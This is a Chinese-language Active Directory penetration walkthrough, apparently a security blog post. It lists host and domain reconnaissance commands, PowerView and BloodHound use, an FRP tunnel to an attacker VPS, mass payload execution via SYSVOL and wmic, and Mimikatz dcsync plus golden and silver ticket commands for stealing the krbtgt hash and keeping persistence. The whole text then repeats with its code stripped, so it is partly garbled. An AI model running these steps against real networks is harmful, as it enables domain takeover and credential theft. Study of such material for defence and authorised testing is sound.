梦中初探域渗透流程
字数 1377 2025-08-18 11:36:36

域渗透流程详解

0x0 前言

本文详细记录了一个完整的域渗透流程,从初始权限获取到最终域控制,涵盖了信息收集、域环境侦查、横向移动和权限维持等关键环节。

0x1 初始环境

假设已通过某种手段获得了一个机器的system控制权限,主机名为pohxxadc,域名为pohxx.com,IP为192.168.1.36。

0x2 初步信息收集

0X2.1 单机手工收集

  1. 网络配置信息

    ipconfig /all
    

    关键信息:主机名、DNS域名、IP地址、子网掩码、默认网关、DNS服务器。

  2. 操作系统信息

    systeminfo | findstr /b /c:"OS Name" /c:"OS Version"
    

    示例输出:

    OS Name: Microsoft Windows Server 2012 R2 Standard
    OS Version: 6.3.9600 N/A Build 9600
    
  3. 处理器架构

    echo %processor_architecture%
    
  4. 安装软件列表

    wmic product get name,version
    

    特别注意VNC、数据库等敏感软件。

  5. 服务信息

    wmic service list brief
    

    关注Running和Auto状态的服务。

  6. 进程列表

    tasklist /svc
    wmic process list brief
    
  7. 启动程序

    wmic startup get command, caption
    
  8. 计划任务

    schtasks /query /fo list /v
    
  9. 用户列表

    net user
    net localgroup administrators
    
  10. 网络连接

    netstat -ano
    

    重点关注53(DNS)、3389(RDP)等端口。

  11. 补丁信息

    systeminfo
    wmic qfe get Caption,Description,HotFixID,InstalledOn
    
  12. 共享列表

    net share
    wmic share get name,path,status
    
  13. 路由和ARP

    route print
    arp -a
    
  14. 防火墙配置

netsh advfirewall show allprofiles


### 0x2.2 单机自动化收集

可以使用工具如Ladon进行自动化收集,但需注意:
- 可能触发报警
- 操作不可控
- 耗时较长
- 信息准确性不确定

## 0x3 侦查域环境

### 0x3.1 判断是否存在域环境

1. **ipconfig命令**
```cmd
ipconfig /all

查看DNS后缀是否为域名。

  1. systeminfo

    systeminfo
    

    查看"Domain"字段。

  2. net config

    net config workstation
    

    查看"Workstation domain"和"Logon domain"。

  3. net time

    net time /domain
    

    若存在域但无权限会返回"Access is denied"。

0x3.2 收集域内基础信息

  1. 查询所有域

    net view /domain
    
  2. 查询域内计算机

    net view /domain:域名
    
  3. 查询域内用户组

    net group /domain
    

    重点关注:

    • Domain Admins(域管理员)
    • Domain Computers(域内机器)
    • Domain Controllers(域控制器)
    • Enterprise Admins(企业系统管理员)
  4. 查询域密码策略

    net account /domain
    
  5. 查询域信任关系

    nltest /domain_trusts
    

0x3.3 查看域控制器

  1. 查询域控制器列表

    nltest /dclist:域名
    
  2. 查询域控制器主机名

    nslookup -type=SRV _ldap._tcp
    
  3. 查询域控制器组

    net group "Domain Controllers" /domain
    

0x3.4 获取域内用户和管理员信息

  1. 查询所有域用户

    net user /domain
    
  2. 查询域管理员

    net group "Domain admins" /domain
    
  3. 查询企业管理员

    net group "Enterprise Admins" /domain
    

0x3.5 定位域管理员

使用PowerView定位域管理员登录的机器:

  1. 导入PowerView

    powershell-import PowerView.ps1
    
  2. 查询域管理员会话

    Invoke-UserHunter
    
  3. 常用PowerView命令

    Get-NetDomain          # 获取当前域
    Get-NetUser            # 获取所有用户
    Get-NetDomainController # 获取域控制器
    Get-NetComputer        # 获取域内机器
    Get-NetSession         # 获取会话
    Get-NetLoggedon        # 获取已登录用户
    

0x3.6 查找域管理进程

  1. 本机检查

    tasklist /svc
    

    对比域管理员列表。

  2. 枚举本地管理员权限

    Get-DomainComputer | Test-AdminAccess
    

0x3.7 BloodHound自动化收集域信息

  1. 收集数据

    SharpHound.exe -all
    
  2. 分析数据

    • 使用Neo4j加载收集的数据
    • 重点关注"Find Shortest Paths to Domain Admins"

0x4 域环境横向目标

0x4.1 搭建加密隧道

使用FRP搭建socks5代理:

  1. 服务端配置(frps.ini)

    [common]
    bind_port = 14500
    token = your_token
    
  2. 客户端配置(frpc.ini)

    [common]
    server_addr = VPS_IP
    server_port = 14500
    token = your_token
    tls_enable = true
    
    [http_proxy]
    type = tcp
    remote_port = 16005
    plugin = socks5
    

0x4.2 寻找靶标

  1. 端口扫描

    portscan 192.168.1.0/24 80,443,8080
    
  2. Web服务探测
    使用httpx等工具扫描开放的Web服务。

0x4.3 批量上线

  1. 通过GPO下发
    针对指定OU的机器和用户执行命令。

  2. 通过域共享
    上传payload到SYSVOL目录:

    \\域控制器\sysvol\域名\payload.exe
    
  3. 批量执行

    wmic /node:IP process call create "cmd /c \\路径\payload.exe"
    

0x5 域环境权限维持

0x5.1 黄金票据(Golden Ticket)

  1. 获取krbtgt的NTLM Hash

    lsadump::dcsync /domain:域名 /user:krbtgt
    
  2. 获取域SID

    wmic useraccount get name,sid
    
  3. 生成黄金票据

    kerberos::golden /admin:用户名 /domain:域名 /sid:域SID /krbtgt:hash值 /ticket:票据文件名
    
  4. 注入票据

    kerberos::ptt 票据文件名
    

0x5.2 白银票据(Silver Ticket)

  1. 获取服务账号Hash

    lsadump::dcsync /domain:域名 /user:机器名$
    
  2. 生成白银票据

    kerberos::golden /domain:域名 /sid:域SID /target:目标FQDN /service:服务类型 /rc4:服务账号Hash /user:用户名 /ptt
    

0x6 总结

本文详细记录了从初始权限获取到最终控制域环境的完整流程,包括信息收集、域环境侦查、横向移动和权限维持等关键步骤。掌握这些技术可以帮助安全人员更好地理解域环境的安全风险。

域渗透流程详解 0x0 前言 本文详细记录了一个完整的域渗透流程,从初始权限获取到最终域控制,涵盖了信息收集、域环境侦查、横向移动和权限维持等关键环节。 0x1 初始环境 假设已通过某种手段获得了一个机器的system控制权限,主机名为pohxxadc,域名为pohxx.com,IP为192.168.1.36。 0x2 初步信息收集 0X2.1 单机手工收集 网络配置信息 关键信息:主机名、DNS域名、IP地址、子网掩码、默认网关、DNS服务器。 操作系统信息 示例输出: 处理器架构 安装软件列表 特别注意VNC、数据库等敏感软件。 服务信息 关注Running和Auto状态的服务。 进程列表 启动程序 计划任务 用户列表 网络连接 重点关注53(DNS)、3389(RDP)等端口。 补丁信息 共享列表 路由和ARP 防火墙配置 netsh advfirewall show allprofiles 查看DNS后缀是否为域名。 systeminfo 查看"Domain"字段。 net config 查看"Workstation domain"和"Logon domain"。 net time 若存在域但无权限会返回"Access is denied"。 0x3.2 收集域内基础信息 查询所有域 查询域内计算机 查询域内用户组 重点关注: Domain Admins(域管理员) Domain Computers(域内机器) Domain Controllers(域控制器) Enterprise Admins(企业系统管理员) 查询域密码策略 查询域信任关系 0x3.3 查看域控制器 查询域控制器列表 查询域控制器主机名 查询域控制器组 0x3.4 获取域内用户和管理员信息 查询所有域用户 查询域管理员 查询企业管理员 0x3.5 定位域管理员 使用PowerView定位域管理员登录的机器: 导入PowerView 查询域管理员会话 常用PowerView命令 0x3.6 查找域管理进程 本机检查 对比域管理员列表。 枚举本地管理员权限 0x3.7 BloodHound自动化收集域信息 收集数据 分析数据 使用Neo4j加载收集的数据 重点关注"Find Shortest Paths to Domain Admins" 0x4 域环境横向目标 0x4.1 搭建加密隧道 使用FRP搭建socks5代理: 服务端配置(frps.ini) 客户端配置(frpc.ini) 0x4.2 寻找靶标 端口扫描 Web服务探测 使用httpx等工具扫描开放的Web服务。 0x4.3 批量上线 通过GPO下发 针对指定OU的机器和用户执行命令。 通过域共享 上传payload到SYSVOL目录: 批量执行 0x5 域环境权限维持 0x5.1 黄金票据(Golden Ticket) 获取krbtgt的NTLM Hash 获取域SID 生成黄金票据 注入票据 0x5.2 白银票据(Silver Ticket) 获取服务账号Hash 生成白银票据 0x6 总结 本文详细记录了从初始权限获取到最终控制域环境的完整流程,包括信息收集、域环境侦查、横向移动和权限维持等关键步骤。掌握这些技术可以帮助安全人员更好地理解域环境的安全风险。